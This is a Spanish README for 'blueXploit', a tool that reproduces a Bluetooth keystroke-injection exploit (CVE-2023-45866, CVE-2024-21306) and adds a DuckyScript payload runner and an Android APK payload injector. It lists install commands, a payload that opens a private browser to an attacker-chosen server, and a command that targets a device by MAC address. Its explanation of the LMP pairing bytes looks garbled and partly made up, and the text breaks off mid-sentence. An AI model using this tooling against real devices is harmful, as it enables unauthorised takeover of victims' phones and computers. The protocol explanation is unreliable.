
Exploit basado en vulnerabilidades criticas Bluetooth (CVE-2023-45866, CVE-2024-21306)

Atribución. La vulnerabilidad y el exploit original son obra de Marc Newlin (hi_my_name_is_keyboard) — no reclamo su descubrimiento. Este repositorio es una reproducción creada para comprender y documentar el fallo; sobre ella, blueXploit añade un ejecutor de payloads estilo DuckyScript, un mecanismo de reconexión/reintento y un ayudante opcional de inyección de APK en Android. Todo lo aquí presente es solo para educación e investigación.
Estas vulnerabilidades críticas (CVE-2023-45866, CVE-2024-21306) permiten a un atacante inyectar pulsaciones de teclas y aceptar solicitudes de emparejamiento sin confirmación del usuario. Esto afecta críticamente a la seguridad de múltiples sistemas operativos.
Basado en el exploit original de Marc Newlin.
Instalación de dependencias
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
blueXploit incluye herramientas para explotar vulnerabilidades en dispositivos Android, ofreciendo dos componentes principales y un programa adicional llamado apkpwn_injector, ubicado en la carpeta injector.
.apk existentes en la carpeta apk_clean.Estas características permiten un flujo de ataque eficiente y simplificado en entornos controlados o para pruebas de penetración.

cd injector
python3 apkpwn_injector.py
Los comandos de teclas ejecutados por blueXploit se cargan desde la carpeta /injector/payloads/ en formato .txt, con una sintaxis simple y fácil de entender.
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
Cambia la dirección IP por la dirección donde está alojado el servidor.
Detección y enumeración de dispositivos
bluetoothctl
Escanear dispositivos Bluetooth
scan on
Ejecutar
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
Luego selecciona el payload requerido, previamente configurado.
La demo completa está en este video
Esta vulnerabilidad se explota a un nivel bajo del protocolo Bluetooth, manipulando principalmente el perfil HID y el protocolo L2CAP para inyectar pulsaciones de teclas en un dispositivo víctima.
La pila Bluetooth incluye varias capas, como el Link Manager Protocol (LMP), el Host Controller Interface (HCI) y L2CAP. Este ataque utiliza principalmente las dos últimas:
HCI: la configuración del adaptador se manipula para que se presente como un dispositivo HID legítimo.
L2CAP: responsable de multiplexar datos entre dispositivos, L2CAP usa el canal 17 (HID Control) y el canal 19 (HID Interrupt) para la comunicación HID, lo que puede explotarse para enviar secuencias de teclas.
CVE-2023-45866 es una vulnerabilidad en el Link Manager Protocol (LMP), explotada mediante un ataque de "emparejamiento forzado". Aquí se explica técnicamente cómo se lleva a cabo:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
En esta trama de datos:
0x01: solicitud de emparejamiento LMP0x01: solicitud de autenticación LMP (PIN)0x00 0x00 0x00 0x00: información de PIN débil, normalmente 0000Aquí el exploit aprovecha la falta de configuración y autenticación para este paquete, que termina devolviendo:
LMP Accept: 0x02 0x00 0x00 0x00 0x00
En esta trama de datos:
0x02: solicitud de emparejamiento LMP ACEPTADA0x00 0x00 0x00 0x00: información de PIN malformada devueltaSi la clave no se valida correctamente, la conexión se establece pero sin un emparejamiento real, por lo que se puede enviar un paquete LMP de emparejamiento forzado así:
LMP Forced Pairing: 0x03 0x01 0x0000
La autenticación puede entonces forzarse usando claves filtradas previamente (como "0000") y establecerse un canal de comunicación cifrado, emparejando los dispositivos sin pasar por un proceso de verificación adecuado.
Esto crea un emparejamiento sin que el usuario lo sepa, e incluso sin ninguna ventana o notificación de emparejamiento.
El fallo en este CVE es que ciertos dispositivos no validan correctamente las solicitudes de autenticación LMP, o terminan reutilizando claves antiguas.
Así que una vez emparejado con el dispositivo — ¡bang! — el resto es fácil: en blueXploit.py el adaptador y el dispositivo actúan como y suplantan datos de identificación. En este caso, se ejecutan comandos como estos: